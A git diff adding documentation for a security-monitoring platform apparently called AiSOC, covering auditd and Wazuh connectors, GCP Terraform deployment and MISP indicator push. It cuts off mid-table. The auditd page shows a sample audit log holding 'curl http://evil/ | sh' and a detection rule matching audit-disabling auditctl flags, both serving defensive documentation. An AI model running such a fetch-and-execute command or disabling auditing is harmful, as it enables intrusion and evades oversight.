`SYSCALL.tty` / `ses` | Useful for joining to login sessions |+| `arch` | `SYSCALL.arch` | `c000003e` = x86_64, `40000028` = ARMv7, … |+| `auditd_key` / `key` | `SYSCALL.key` | The `-k` value from the rule that fired — pivot field for AiSOC's profile-aware detections |+| `success` / `exit` | `SYSCALL.success` / `exit` | `yes` / `no` and the syscall return code |+| `event_id` | `<timestamp>:<serial>` | Composite ID from `msg=audit(<ts>:<serial>)`, stable across retries |+| `raw_records` | Per-record-type breakdown | Preserved so detections can walk back to a specific record type |++## Capabilities++| Capability | Notes |+|---|---|+| `PULL_AUDIT` | Primary capability — auditd is the canonical Linux audit source |+| `PULL_ALERTS` | High-severity events (key-prefix or path-based) surface as alerts |++auditd is a passive telemetry source — there is no+`BLOCK` / `ISOLATE` capability here. Live response on a Linux+host is tracked separately under the generic `live_action`+capability so the platform stays vendor-neutral.++## The auditd parsing problem (what the connector does for you)++`auditd` writes one line per audit *record*, but a single+*event* can span multiple records that share the same+`msg=audit(<timestamp>:<serial>)` identifier. A single+`execve` looks like five records on the wire:++```+type=SYSCALL msg=audit(1715520000.123:9876): arch=c000003e syscall=59 success=yes ... uid=1000 auid=1000 comm="bash" exe="/usr/bin/bash" key="aisoc_exec"+type=EXECVE msg=audit(1715520000.123:9876): argc=3 a0="bash" a1="-c" a2="curl http://evil/ | sh"+type=CWD msg=audit(1715520000.123:9876): cwd="/tmp"+type=PATH msg=audit(1715520000.123:9876): item=0 name="/usr/bin/bash" ...+type=PROCTITLE msg=audit(1715520000.123:9876): proctitle="bash\0-c\0..."+```++The connector reassembles these into one normalised event per+`(timestamp, serial)` tuple before handing it to ingest, so a+detection rule can express:++```+syscall == "execve"+AND exe ENDSWITH "/auditctl"+AND argv CONTAINS_ANY ["-D", "-e 0"]+```++…against a single document instead of having to JOIN across+sibling records. `proctitle` is hex-decoded automatically when+the kernel hex-encodes it (which it does whenever `argv`+contains NULs, newlines, or other unsafe bytes).++## Severity heuristic++Audit records carry `key=...` strings set by the operator's+rules. The AiSOC `audit.rules` profile names every rule+`aisoc_<bucket>` so the connector can derive a meaningful+severity from the key alone:++| Condition | AiSOC severity |+|---|---|+| `key` starts with `aisoc_critical_` (sudoers, identity, SSH config, exec from `/tmp` etc.) | `high` |+| `key` starts with `aisoc_priv_esc_` (kernel module load, ptrace, mount) | `medium` |+| `key` starts with `aisoc_persistence_` (cron, systemd, init.d, profile.d) | `medium` |+| `key` is `aisoc_exec` (operator-enabled execve catch-all) | `medium` |+| `key` starts with `aisoc_watch_` (hosts, resolv.conf, nsswitch) | `low` |+| `key` starts with `aisoc_audit_` (audit subsystem self-tampering) | `low` |+| `path` is one of `/etc/passwd`, `/etc/shadow`, `/etc/sudoers`, `/etc/ssh/sshd_config` (no key match) | `high` |+| `syscall == execve` from `/dev/shm/`, `/tmp/`, `/var/tmp/`, `/run/shm/` (no key match) | `high` |+| Everything else | `info` |++**Operators not using the AiSOC profile** (e.g. you keep an existing+CIS / STIG ruleset) still get coverage — the path-based and+exec-from-temp heuristics fire regardless of which keys your rules+use. But pivoting on `auditd_key` only works if you ship our+profile, because that field is opaque to AiSOC otherwise.++## Prerequisites++- A Linux host with `auditd` installed (any modern distro: RHEL,+ CentOS, Ubuntu, Debian, Amazon Linux, Rocky, Alma).+- Root access on that host once, to install the rules profile and+ reload the kernel ruleset.+- The AiSOC `services/connectors` process able to read+ `/var/log/audit/audit.log` (read-only mount in Kubernetes, or+ run the connector on the same host with appropriate file+ permissions).+- A writeable directory for the byte cursor file (defaults to+ `<audit_log_path>.aisoc-cursor`).++## Setup walkthrough++### 1. Install the AiSOC audit.rules profile++Copy the bundled profile into the host's audit rules directory:++```bash+sudo cp profiles/auditd/aisoc.rules /etc/audit/rules.d/99-aisoc.rules+sudo augenrules --load+sudo auditctl -l | head -n 20 # sanity check — rules should be loaded+```++The profile uses `-k aisoc_*` keys for every rule so the connector+can map events to AiSOC's severity tiers. Coverage targets, in+priority order:++1. `execve` from `/tmp`, `/dev/shm`, `/var/tmp` (post-exploitation staging)+2. Writes to `/etc/passwd`, `/etc/shadow`, `/etc/sudoers`, `/etc/sudoers.d`+3. SSH config + `authorized_keys` tampering+4. Cron / systemd / init.d / profile.d persistence+5. Kernel module load / removal (`init_module`, `finit_module`, `delete_module`, `insmod`, `rmmod`, `modprobe`)+6. `ptrace`, `mount`, `memfd_create`+7. Audit subsystem self-tampering (`auditctl -D`, `auditctl -e 0`)++The profile deliberately does **not** enable a blanket execve+catch-all. Every `execve` on a busy host produces 10–50+records/second; that volume overwhelms the file_tail connector+and obscures real signal. If you want full execve coverage,+append:++```+-a always,exit -F arch=b64 -S execve -k aisoc_exec+```++…and accept the volume.++### 2. Mount the audit log into the connector pod++Add a read-only volume mount to the `services/connectors`+deployment:++```yaml+spec:+ containers:+ - name: connectors+ volumeMounts:+ - name: auditd-log+ mountPath: /var/log/audit+ readOnly: true+ - name: auditd-cursor+ mountPath: /var/lib/aisoc/auditd+ volumes:+ - name: auditd-log+ hostPath:+ path: /var/log/audit+ type: Directory+ - name: auditd-cursor+ emptyDir: {}+```++In production, replace `emptyDir` with a PVC so the cursor+survives pod restarts — otherwise a restart re-ingests the+current segment from the top.++If you're running the connector on bare metal alongside the+auditd daemon, no mount is needed — just make sure the connector+process can read the audit log file (the `audit` group, or a+sudoers/ACL grant).++### 3. Add the connector in AiSOC++1. **Connectors → Add connector → Linux Auditd**.+2. **Host label**: a human-readable identifier for the host+ (e.g. `prod-web-01`). Stamped on every event so detections+ and investigations can filter by host without relying on the+ kernel's reported hostname.+3. **Audit log path**: `/var/log/audit/audit.log` (default).+4. **Cursor file path**: `/var/lib/aisoc/auditd/audit.cursor`+ if you mounted a dedicated cursor volume. Defaults to+ `<audit_log_path>.aisoc-cursor` if blank.+5. **Test connection** — AiSOC confirms the audit log exists and+ is readable.+6. **Save**.++To cover multiple hosts, add one connector instance per host.+Each instance gets its own `host_label` and cursor file so+ingest can attribute events correctly.++## Polling details++- Default poll interval: **60 seconds** (overrideable per+ instance via `connector_config.poll_interval_seconds`).+- Each poll reads forward from the saved byte cursor up to a+ hard cap of **8 MiB per poll** to bound memory. Anything past+ that is left for the next poll.+- A second cap of **50 000 reassembled events per poll** prevents+ pathological execve storms (fork bombs, runaway CI runners)+ from blowing through the connector's memory budget.+- The cursor is written **atomically** (temp file + rename) so a+ crash mid-write can't corrupt it. A corrupt cursor is treated+ as `0` with a warning — better to re-ingest than to silently+ wedge.+- **Rotation handling**: if the file shrinks between polls+ (`logrotate copytruncate`, or auditd opened a new segment) the+ cursor resets to `0` and AiSOC starts over from the top of the+ current segment.+- **Partial-line handling**: a final line without a trailing+ `\n` is left for the next poll, so the cursor never advances+ past an incomplete record.++`since_seconds` is intentionally ignored — the byte cursor+already gives exactly-once-ish semantics, and audit records+don't all carry a sortable timestamp we could use to filter on+a sliding window.++## Detections that ship with this profile++These detection rules (under `detections/endpoint/`) pivot+directly on the `auditd_key` field exposed by this connector and+require the AiSOC profile from step 1:++| Rule | Pivots on | Severity |+|---|---|---|+| `linux-auditd-sudoers-tampering.yaml` | `auditd_key == "aisoc_critical_sudoers_write"` | `high` |+| `linux-auditd-ssh-config-tampering.yaml` | `auditd_key IN ["aisoc_critical_ssh_config", "aisoc_critical_authorized_keys"]` | `high` |+| `linux-auditd-kernel-module-load.yaml` | `auditd_key == "aisoc_priv_esc_module_load"` | `medium` |+| `linux-auditd-systemd-persistence.yaml` | `auditd_key == "aisoc_persistence_systemd"` | `medium` |++Plus the broader catalogue under `detections/endpoint/linux-*.yaml`+that pivots on the flat `syscall` / `exe` / `argv` / `path`+fields the connector emits — those work with **any** auditd+ruleset, not just the AiSOC profile.++## Troubleshooting++**`Test connection` returns `audit log path … not found`** — the+connector pod cannot see the file. Check the volume mount+(`kubectl exec` into the pod and `ls -l /var/log/audit/audit.log`)+and that auditd is actually running on the host+(`systemctl status auditd`).++**`Test connection` returns `… is not readable by the connector+pod`** — the file exists but the connector process lacks read+permission. On most distros `audit.log` is mode `0640` owned by+`root:root` — either run the connector as root (in a constrained+pod), grant it the `audit` group, or `setfacl -m u:aisoc:r+/var/log/audit/audit.log` if you have ACL support.++**No events in the inbox even though auditd is running** — most+commonly the connector is reading the file fine, but no rules+have fired yet. Generate a test event:++```bash+sudo touch /etc/sudoers.d/aisoc-test+sudo rm /etc/sudoers.d/aisoc-test+```++…and wait one poll interval (default 60s). If still nothing,+check `auditctl -l | grep aisoc` on the host — the rules may+not have loaded.++**Connector logs `auditd.cursor_reset_after_rotation`** — this is+informational, not an error. It means `logrotate` rotated+`audit.log` and the connector reset the cursor. Expected after+log rotation.++**Connector logs `auditd.event_storm_truncated`** — the host+generated more than 50 000 distinct audit events in a single+poll interval. Either tune your audit policy to drop the noisiest+rules, or shorten the poll interval so each batch is smaller.++**`exe` field is empty for `execve` events** — the kernel only+populates `exe` after the new program is loaded; if the syscall+was denied (`success=no`) you'll get `comm` but no `exe`. This+is expected.++**`proctitle` looks like a long hex string** — the connector+should hex-decode automatically. If you see raw hex it's because+the value contained an odd number of characters or a+non-hex byte; we leave it as-is in that case rather than+corrupting the value.++**Cursor file keeps the connector reading from the top after+restart** — your cursor volume is `emptyDir` (lost on pod+restart) or pointed at a path the connector cannot write. Mount a+real volume (PVC or hostPath) for the cursor directory.++## Related++- [Kubernetes Audit Logs](/docs/connectors/kubernetes-audit) — the+ same `file_tail` pattern applied to the apiserver audit log.+- [osctrl](/docs/connectors/osctrl) and+ [FleetDM](/docs/connectors/fleetdm) — osquery-based fleet+ managers if you want host telemetry through a higher-level+ query surface instead of raw kernel audit.+- [Wazuh](/docs/connectors/wazuh) — full-stack HIDS / SIEM that+ consumes auditd internally and exposes its own pre-correlated+ alerts.+- [Detection coverage](/docs/detections/coverage) — the+ endpoint rules that fire on this connector's events.+- [Live actions](/docs/concepts/live-actions) — vendor-neutral+ surface for responding to auditd-sourced alerts on a Linux host.diff --git a/apps/docs/docs/connectors/wazuh.md b/apps/docs/docs/connectors/wazuh.mdnew file mode 100644index 000000000..b8fc3fb0f--- /dev/null+++ b/apps/docs/docs/connectors/wazuh.md@@ -0,0 +1,126 @@+---+sidebar_position: 15+title: Wazuh+description: Pull alerts from a Wazuh indexer (OpenSearch-compatible) into AiSOC for SIEM and HIDS coverage.+---++# Wazuh++[Wazuh](https://wazuh.com/) is an open-source XDR/SIEM platform that combines+host-based intrusion detection (HIDS), file-integrity monitoring (FIM),+log analytics, and rule-based alerting on top of an OpenSearch-compatible+indexer. The Wazuh connector polls the **indexer** directly for alerts that+exceed a configurable rule-level threshold and normalizes them into AiSOC's+canonical event shape.++This is a read-path connector — it does not modify Wazuh state. Live response+actions ("isolate this agent", "kill this PID") are tracked separately under+the generic `live_action` capability so the platform stays vendor-neutral.++## What you get++| Source | Wazuh endpoint | Notes |+|---|---|---|+| Alerts | `POST /{index_pattern}/_search` against the indexer | One AiSOC event per alert document |+| Cluster health probe | `GET /_cluster/health` | Used by **Test connection** |++Events are normalized with `category: siem` and the originating Wazuh rule+is preserved as `rule_id`, `rule_level`, and `raw_event` for downstream+routing and pivoting.++## Why we hit the indexer, not the manager++Wazuh exposes two HTTP surfaces:++- The **manager API** on port 55000 — used for agent management, rule deployment,+ and active-response orchestration. JWT-auth.+- The **indexer** on port 9200 — an OpenSearch fork that holds the actual+ alert documents in `wazuh-alerts-*`. Basic-auth.++For ingest we want the alert stream itself, which lives in the indexer. The+manager API is the right surface for live response actions and is documented+separately under [agent capabilities](/docs/concepts/capabilities).++## Prerequisites++- A reachable **Wazuh indexer** (default `https://wazuh.example.com:9200`).+- A read-only **indexer user** with permission to search `wazuh-alerts-*`.+ See the Wazuh docs for [creating indexer roles and users](https://documentation.wazuh.com/current/user-manual/wazuh-indexer/wazuh-indexer-rbac.html).+- Optional: the CA chain for the indexer's TLS certificate.++## Setup walkthrough++### 1. Create a read-only indexer user++In the Wazuh dashboard, go to **Security → Roles** and create a role with:++- Index permissions on `wazuh-alerts-*`: `read`, `search`, `indices:data/read/search*`.+- No cluster-level permissions.++Then **Security → Internal users** → create a user (e.g. `aisoc-reader`)+and map it to that role. Save the password — you will paste it into the AiSOC+connector form.++Reusing the built-in `admin` or `kibanaserver` accounts works for a lab but+must not be used in production.++### 2. Add the connector in AiSOC++1. **Connectors → Add connector → Wazuh**.+2. Fill in:+ - `indexer_url`: full URL including port (e.g. `https://wazuh.corp.example.com:9200`).+ - `username` / `password`: the read-only user from step 1.+ - `index_pattern`: leave as `wazuh-alerts-*` unless you have re-templated indices.+ - `min_rule_level`: default `7` keeps low-signal noise out of the lake; set lower for full audit coverage.+ - `verify_tls`: leave **enabled** in production; install the CA chain rather than disabling.+3. **Test connection** — calls `GET /_cluster/health` against the indexer.+4. **Save**.++## Polling details++- Default interval: **300 seconds** (5 minutes), overridable per-instance via `connector_config.poll_interval_seconds`.+- The connector queries the indexer with a `range` filter on `@timestamp` so the+ manager-side processing pipeline is not impacted.+- Up to 1000 hits per poll. Tune `min_rule_level` if you find yourself getting+ truncated; for very noisy environments the right answer is usually a higher+ threshold rather than a larger page size.++## Severity mapping++Wazuh emits a 0-15 numeric `rule.level`. AiSOC collapses that ladder onto its+four-tier severity taxonomy so detection logic and fusion rules stay+vendor-agnostic:++| Wazuh rule level | AiSOC severity |+|---|---|+| 0 – 3 | `info` |+| 4 – 7 | `low` |+| 8 – 11 | `medium` |+| 12 – 15 | `high` |++The original `rule.level` is preserved on every event as `rule_level` so+detection rules can still pivot on the exact Wazuh value when they need to.++## Troubleshooting++**`auth failure 401`** — the indexer rejected basic auth. Check the username and+password against the **indexer** dashboard (not the Wazuh manager UI — they are+separate user stores by default).++**`network error` on Test connection** — verify the URL points at port 9200, not+55000 (manager) or 5601 (dashboard). The manager API uses JWT, not basic auth,+and will reject the connector's requests.++**`no events_added`** — confirm `wazuh-alerts-*` indices actually exist in the+target cluster. Some Wazuh installations re-template the index name; if so,+override `index_pattern` to match.++**TLS handshake errors** — set `verify_tls: false` only when you are deliberately+running a self-signed lab cluster. In production, install the root CA so the+connector trusts the indexer's certificate.++## Related++- [osctrl](/docs/connectors/osctrl) and [FleetDM](/docs/connectors/fleetdm) — osquery-based fleet managers if you want host telemetry without Wazuh's full agent stack.+- [Detection coverage](/docs/detections/coverage) — SIEM rules that fire on Wazuh alerts via the canonical event shape.+- [Credentials vault](/docs/operations/credentials) — how the indexer password is encrypted at rest.diff --git a/apps/docs/docs/deployment/env-vars.md b/apps/docs/docs/deployment/env-vars.mdindex 0371afac2..2aed60d22 100644--- a/apps/docs/docs/deployment/env-vars.md+++ b/apps/docs/docs/deployment/env-vars.md@@ -1,5 +1,5 @@----sidebar_position: 3+sidebar_position: 4---# Environment Variablesdiff --git a/apps/docs/docs/deployment/gcp.md b/apps/docs/docs/deployment/gcp.mdnew file mode 100644index 000000000..f115dab3d--- /dev/null+++ b/apps/docs/docs/deployment/gcp.md@@ -0,0 +1,174 @@+---+sidebar_position: 3+---++# GCP (Cloud Run + Cloud SQL)++A serverless-first Terraform skeleton lives at+[`infra/terraform/gcp/`](https://github.com/beenuar/AiSOC/tree/main/infra/terraform/gcp).+It targets Google Cloud Run for the customer-visible services (API, web,+ingest), Cloud SQL for PostgreSQL 16, and Memorystore for Redis 7.2 — all+private-IP, peered through a dedicated VPC.++## What you get++| Component | Resource |+|------------------------------|---------------------------------------|+| API (FastAPI) | Cloud Run v2 service |+| Web console (Next.js) | Cloud Run v2 service |+| Ingest gateway (Go) | Cloud Run v2 service |+| Application database | Cloud SQL for PostgreSQL 16, private |+| Queues / rate limit / fan-out| Memorystore Redis 7.2, private |+| Secrets | Secret Manager (auto-generated) |+| Container registry | Artifact Registry (Docker) |+| Networking | Dedicated VPC + Serverless VPC Access |+| Identity | One service account per Cloud Run svc |++## Prerequisites++1. A GCP project with billing attached.+2. `gcloud` authenticated as a principal that can create Cloud Run services,+ Cloud SQL instances, Secret Manager entries, and service accounts in that+ project. Project Owner is the simplest grant; the+ least-privilege bundle is `roles/run.admin` + `roles/iam.serviceAccountAdmin`+ + `roles/secretmanager.admin` + `roles/cloudsql.admin` ++ `roles/compute.networkAdmin`.+3. Terraform 1.5+ and the [Google provider](https://registry.terraform.io/providers/hashicorp/google/latest/docs)+ 5.40+ (the lockfile pins exact versions on first init).++## Quick start++```bash+cd infra/terraform/gcp+cp terraform.tfvars.example terraform.tfvars+$EDITOR terraform.tfvars # at minimum set project_id++terraform init+terraform plan -out tfplan # review the proposed plan+terraform apply tfplan+```++A full apply against an empty project takes ~12 minutes — most of that is the+Cloud SQL instance and the service-networking peering. After the apply+finishes, the `api_url`, `web_url`, and `ingest_url` outputs are reachable+immediately if `allow_unauthenticated` is `true` (the default).++```bash+$ terraform output+api_url = "https://aisoc-api-xxxxxxxxxx-uc.a.run.app"+web_url = "https://aisoc-web-xxxxxxxxxx-uc.a.run.app"+ingest_url = "https://aisoc-ingest-xxxxxxxxxx-uc.a.run.app"+```++## Container images++The defaults point at the public GHCR demo images+(`ghcr.io/beenuar/aisoc-{api,web,ingest}:latest`) so the skeleton runs with+zero CI work. For a real deployment, push your own images to the Artifact+Registry repo this stack provisions:++```bash+gcloud auth configure-docker us-central1-docker.pkg.dev++REPO=$(terraform output -raw artifact_registry_repo)++docker build -t $REPO/api:$(git rev-parse --short HEAD) services/api+docker push $REPO/api:$(git rev-parse --short HEAD)+# repeat for web + ingest++terraform apply \+ -var "api_image=$REPO/api:<sha>" \+ -var "web_image=$REPO/web:<sha>" \+ -var "ingest_image=$REPO/ingest:<sha>"+```++## Connecting to Cloud SQL from your laptop++The instance has no public IP. Use the+[Cloud SQL Auth Proxy](https://cloud.google.com/sql/docs/postgres/sql-proxy):++```bash+INSTANCE=$(terraform output -raw sql_connection_name)+PASSWORD=$(gcloud secrets versions access latest \+ --secret=$(terraform output -raw secret_postgres_password_id))++cloud-sql-proxy --port 5432 "$INSTANCE" &+PGPASSWORD="$PASSWORD" psql -h 127.0.0.1 -U aisoc aisoc+```++## Secrets++Five secrets are managed automatically:++| Secret ID | Source | Consumed by |+|-------------------------------|-----------------------|---------------------|+| `aisoc-postgres-password` | random_password | api, ingest |+| `aisoc-secret-key` | random_password (64c) | api, ingest |+| `aisoc-credential-key` | random (Fernet key) | api (CredentialVault) |+| `aisoc-redis-auth` | Memorystore auth | api, ingest |+| `aisoc-openai-api-key` | `var.openai_api_key` | api (optional) |++Cloud Run mounts each as an environment variable via+`secret_key_ref { version = "latest" }`, so rotating a secret value (without+deleting the secret) is picked up on the next revision deploy.++## Costs++Defaults are chosen so a fresh apply against a project that's never run a+demo before fits inside the 90-day GCP startup-credit envelope:++| Resource | Default | ~Monthly cost (us-central1) |+| --------------------- | ------------------ | --------------------------- |+| Cloud SQL Postgres | `db-custom-2-7680` | ~$95 |+| Memorystore Redis | `BASIC` 1 GB | ~$30 |+| VPC Access connector | 2× e2-micro | ~$10 |+| Cloud Run (idle) | 0–10 instances | ~$0 (scale-to-zero) |+| Artifact Registry | empty repo | ~$0 |++Tune `postgres_tier` and `redis_memory_size_gb` in `terraform.tfvars` for a+cheaper sandbox; the smallest sensible production tier is `db-custom-2-7680`+plus a `STANDARD_HA` Redis.++## Limitations++This is a **skeleton**, not the full GCP migration:++- **No long-running services.** `services/agents`, `services/realtime`,+ `services/connectors`, `services/alert-fusion`, `services/threatintel`, and+ `services/fusion` need persistent compute. The websocket fan-out and the+ APScheduler-driven connector polling don't fit Cloud Run's request lifecycle+ cleanly. The recommended follow-up is GKE Autopilot for those workloads,+ sharing the VPC and Cloud SQL provisioned here.+- **No HTTPS load balancer.** Cloud Run gives every service a `*.run.app`+ certificate that's fine for the skeleton. Wire a Global External HTTPS Load+ Balancer + Cloud Armor in front of the API for a custom domain and WAF.+- **No Kafka.** The buyer-value demo runs on Redis Streams alone. For higher+ throughput, swap in Confluent Cloud or run Kafka on GKE.+- **No CMEK.** Secret Manager is the secret store; customer-managed encryption+ keys on Cloud SQL / Memorystore / Artifact Registry are a one-line addition+ (`encryption_key_name = ...`) and intentionally left out of the skeleton to+ keep the trust boundary small.+- **Demo image source.** `ghcr.io/beenuar/aisoc-*` is the default for the+ zero-config experience; don't ship that to production.++## Tear-down++```bash+terraform destroy+```++Cloud SQL refuses to delete unless `deletion_protection=false`. Either flip+the variable and re-apply first, or destroy in two steps:++```bash+terraform apply -var deletion_protection=false+terraform destroy+```++## See also++- [`infra/terraform/gcp/README.md`](https://github.com/beenuar/AiSOC/blob/main/infra/terraform/gcp/README.md) — operator runbook+- [Environment variables reference](./env-vars) — what each Cloud Run service+ consumes+- [AWS BYOC module](https://github.com/beenuar/AiSOC/tree/main/infra/terraform/byoc)+ — equivalent skeleton for AWS (EKS + RDS + ElastiCache)diff --git a/apps/docs/docs/detections/coverage.md b/apps/docs/docs/detections/coverage.mdindex 62a225b2d..d54d93962 100644--- a/apps/docs/docs/detections/coverage.md+++ b/apps/docs/docs/detections/coverage.md@@ -11,20 +11,20 @@ sidebar_position: 2# Detection Coverage-Generated: `2026-05-12T20:53:01Z`+Generated: `2026-05-12T21:04:22Z`## Headline numbers- **Curated v1.0 detections**: `416` (target: ≥ 300)-- **Total rules considered**: `1048` (quality floor: 0.55)-- **Unique MITRE techniques covered**: `117`+- **Total rules considered**: `1052` (quality floor: 0.55)+- **Unique MITRE techniques covered**: `118`## Coverage by buyer family| Family | Count | Target | Covered ||---|---|---|---|| **Ransomware** | 48 | ≥ 25 | ✅ |-| **Credential Access** | 83 | ≥ 25 | ✅ |+| **Credential Access** | 84 | ≥ 25 | ✅ || **Lateral Movement** | 33 | ≥ 25 | ✅ || **Data Exfiltration** | 41 | ≥ 25 | ✅ || **Cloud** | 100 | ≥ 25 | ✅ |@@ -52,8 +52,8 @@ Generated: `2026-05-12T20:53:01Z`- `application`: 29- `cloud`: 164- `data-exfil`: 20-- `endpoint`: 115-- `identity`: 75+- `endpoint`: 117+- `identity`: 73- `network`: 12## How to auditdiff --git a/apps/docs/docs/integrations/misp-push.md b/apps/docs/docs/integrations/misp-push.mdnew file mode 100644index 000000000..f9bbc5473--- /dev/null+++ b/apps/docs/docs/integrations/misp-push.md@@ -0,0 +1,205 @@+---+sidebar_position: 2+title: MISP push (mirror STIX → MISP)+description: Mirror every STIX 2.1 indicator and bundle published by AiSOC into a downstream MISP instance, on demand or automatically.+---++# MISP push++The threat-intel service already **pulls** events from MISP (read-only).+The MISP push integration closes the loop: every STIX 2.1 indicator or+bundle published through `/api/v1/threatintel/stix/...` can be mirrored+into your MISP server as a native MISP event with one or more attributes.++The push runs from the API service (not `services/threatintel`) so it+shares:++- the same air-gap chokepoint (`enforce_airgap_for_url`) used by every+ other outbound HTTP call in the API,+- the same credential conventions (`MISP_*` env vars, never logged),+- the same HTTP timeout budget.++> **Air-gapped deployments.** When `AISOC_AIRGAPPED=1` (or the host is+> not on `AISOC_AIRGAP_ALLOWED_HOSTS`), every push attempt is rejected+> at the air-gap gate before any network I/O happens, and the failure+> is surfaced in the response under `misp.error`.++## Configuration++Add the following to your API service environment (or `.env`):++```bash+# Required+MISP_URL=https://misp.intel.corp+MISP_API_KEY=<your MISP user's API key>++# Optional — defaults shown+MISP_VERIFY_SSL=true+MISP_PUSH_AUTO=false # mirror every indicator/bundle by default+MISP_PUSH_DEFAULT_DISTRIBUTION=0 # 0=org, 1=community, 2=connected, 3=all, 4=sharing-group+MISP_PUSH_DEFAULT_THREAT_LEVEL=2 # 1=high, 2=medium, 3=low, 4=undefined+MISP_PUSH_DEFAULT_ANALYSIS=1 # 0=initial, 1=ongoing, 2=completed+MISP_PUSH_TIMEOUT_SECONDS=15+```++`MISP_PUSH_AUTO=true` flips the default for every `POST /indicators`+and `POST /bundles` request — useful when AiSOC is the canonical source+of truth and MISP is a downstream consumer. With `MISP_PUSH_AUTO=false`+(the default), the caller opts in per request via `?push_to_misp=true`.++## Endpoints++### Publish an indicator and mirror it to MISP++```bash+curl -X POST \+ "$AISOC_URL/api/v1/threatintel/stix/indicators?push_to_misp=true" \+ -H "Content-Type: application/json" \+ -d '{+ "name": "Phishing Domain",+ "indicator_types": ["malicious-activity"],+ "pattern": "[domain-name:value = '\''secure-login.example-phish.com'\'']",+ "labels": ["phishing"],+ "confidence": 88+ }'+```++Response (truncated):++```json+{+ "type": "indicator",+ "id": "indicator--…",+ "pattern": "[domain-name:value = '…']",+ "misp": {+ "pushed": true,+ "misp_event_id": "4217",+ "misp_event_uuid": "5fa9c4d2-…",+ "url": "https://misp.intel.corp/events/view/4217"+ }+}+```++If the push fails (auth, 5xx, air-gap, network), the publish itself+still succeeds and `misp.pushed` is `false` with a structured `error`+field — the AiSOC store and the MISP mirror are intentionally decoupled.++### Publish a STIX bundle and mirror it as one MISP event++```bash+curl -X POST \+ "$AISOC_URL/api/v1/threatintel/stix/bundles?push_to_misp=true" \+ -H "Content-Type: application/json" \+ -d @bundle.json+```++The whole bundle becomes a single MISP event whose attributes are the+translatable indicators inside. STIX objects whose patterns can't be+mapped (e.g. complex `OR` predicates, custom observable types) are+counted in `misp.skipped_attributes` so you can audit coverage.++### Health check++```bash+curl "$AISOC_URL/api/v1/threatintel/stix/misp/health"+```++```json+{+ "configured": true,+ "airgapped": false,+ "auto_push": false,+ "url": "https://misp.intel.corp",+ "user": "[email protected]",+ "role": "User",+ "ok": true+}+```++The health probe calls MISP's `/users/view/me` so it both verifies+connectivity AND that the API key is still valid. The health response+never echoes the API key back.++### Dry run — preview the MISP event without sending++```bash+curl -X POST "$AISOC_URL/api/v1/threatintel/stix/misp/dry-run" \+ -H "Content-Type: application/json" \+ -d '{+ "indicator": {+ "name": "C2 IP",+ "pattern": "[ipv4-addr:value = '\''198.51.100.47'\'']",+ "indicator_types": ["malicious-activity"],+ "confidence": 92,+ "labels": ["c2", "apt-42"]+ }+ }'+```++```json+{+ "event": {+ "Event": {+ "info": "C2 IP",+ "distribution": "0",+ "threat_level_id": "2",+ "analysis": "1",+ "Attribute": [+ {"type": "ip-dst", "category": "Network activity", "value": "198.51.100.47", "to_ids": true}+ ],+ "Tag": [{"name": "tlp:amber"}, {"name": "aisoc:label=c2"}, {"name": "aisoc:label=apt-42"}]+ }+ },+ "attribute_count": 1,+ "skipped_count": 0,+ "would_push_to": "https://misp.intel.corp/events/add",+ "airgap_blocked": false+}+```++Dry run is the safest way to:++- tune the STIX → MISP mapping before flipping `MISP_PUSH_AUTO=true`,+- prove to a reviewer that an air-gapped deployment really will refuse+ to send (`airgap_blocked: true` with a populated `airgap_message`),+- diff event payloads between two AiSOC versions when changing+ pattern parsing.++## STIX → MISP mapping++| STIX pattern | MISP attribute type | MISP category |+|---|---|---|+| `[ipv4-addr:value = '…']` / `[ipv6-addr:value = '…']` | `ip-dst` | Network activity |+| `[domain-name:value = '…']` | `domain` | Network activity |+| `[url:value = '…']` | `url` | Network activity |+| `[email-addr:value = '…']` | `email-src` | Payload delivery |+| `[file:hashes.'MD5' = '…']` | `md5` | Payload delivery |+| `[file:hashes.'SHA-1' = '…']` | `sha1` | Payload delivery |+| `[file:hashes.'SHA-256' = '…']` | `sha256` | Payload delivery |+| `[file:hashes.'SHA-512' = '…']` | `sha512` | Payload delivery |+| `[file:name = '…']` | `filename` | Payload delivery |++STIX `confidence` is mapped onto MISP `threat_level_id` so an+indicator with `confidence ≥ 80` becomes `threat_level_id=1` (high),+`50–79` becomes `2` (medium), `1–49` becomes `3` (low), and `0` or+unset becomes `4` (undefined). STIX `labels` are mirrored as MISP+tags prefixed with `aisoc:label=…`.++## Failure modes++| Symptom | Likely cause | Where to look |+|---|---|---|+| `misp.pushed=false`, `error="MISP push not configured"` | `MISP_URL` or `MISP_API_KEY` missing | `/misp/health` |+| `misp.pushed=false`, `error="Air-gap policy blocked push: …"` | `AISOC_AIRGAPPED=1` and host not on the allow-list | `AISOC_AIRGAP_ALLOWED_HOSTS` |+| `misp.pushed=false`, `error="MISP returned 401 …"` | API key revoked or rotated | MISP → My Profile → Authentication |+| `misp.pushed=true` but event not visible in MISP UI | Distribution scope hides it from your role | `MISP_PUSH_DEFAULT_DISTRIBUTION` |++## Security notes++- The API key is read from environment / vault, never persisted, and+ never logged. Health and dry-run responses do not echo it back.+- Every outbound request runs through `enforce_airgap_for_url` so the+ push pipeline cannot be used to exfiltrate data from an air-gapped+ AiSOC deployment.+- The mirror is intentionally one-way. Pull from MISP still goes+ through the read-only `services/threatintel` client.diff --git a/apps/docs/docs/operations/airgap.md b/apps/docs/docs/operations/airgap.mdindex f7455c399..a3311829d 100644--- a/apps/docs/docs/operations/airgap.md+++ b/apps/docs/docs/operations/airgap.md@@ -250,10 +250,16 @@ TAXII_URL=https://taxii.intel.corp/taxii2/TAXII_API_ROOT=intelTAXII_COLLECTION_IDS=indicators-# MISP — your own MISP instance+# MISP — your own MISP instance (read path = pull events into AiSOC)MISP_URL=https://misp.intel.corpMISP_API_KEY=…+# MISP push (write path) — mirror STIX you publish in AiSOC into MISP.+# Same MISP_URL / MISP_API_KEY as above. Push always runs through the+# air-gap gate, so it will refuse to send if the host isn't on the+# allowlist. See "Integrations → MISP push" for the request shape.+MISP_PUSH_AUTO=false # opt-in per request via ?push_to_misp=true+# OTX has no internal mirror; leave OTX_API_KEY unset to keep the OTX# feed disabled cleanly. Setting it under air-gapped mode will be# refused at registration time.diff --git a/apps/docs/docs/operations/case-reports.md b/apps/docs/docs/operations/case-reports.mdnew file mode 100644index 000000000..10822c338--- /dev/null+++ b/apps/docs/docs/operations/case-reports.md@@ -0,0 +1,148 @@+# Case Reports: Auto-Summary & Blameless Post-mortem++Every case in AiSOC ships with two deterministic, on-demand reports:++| Endpoint | Audience | Question it answers |+|---|---|---|+| `GET /api/v1/cases/{id}/summary` | Analyst, 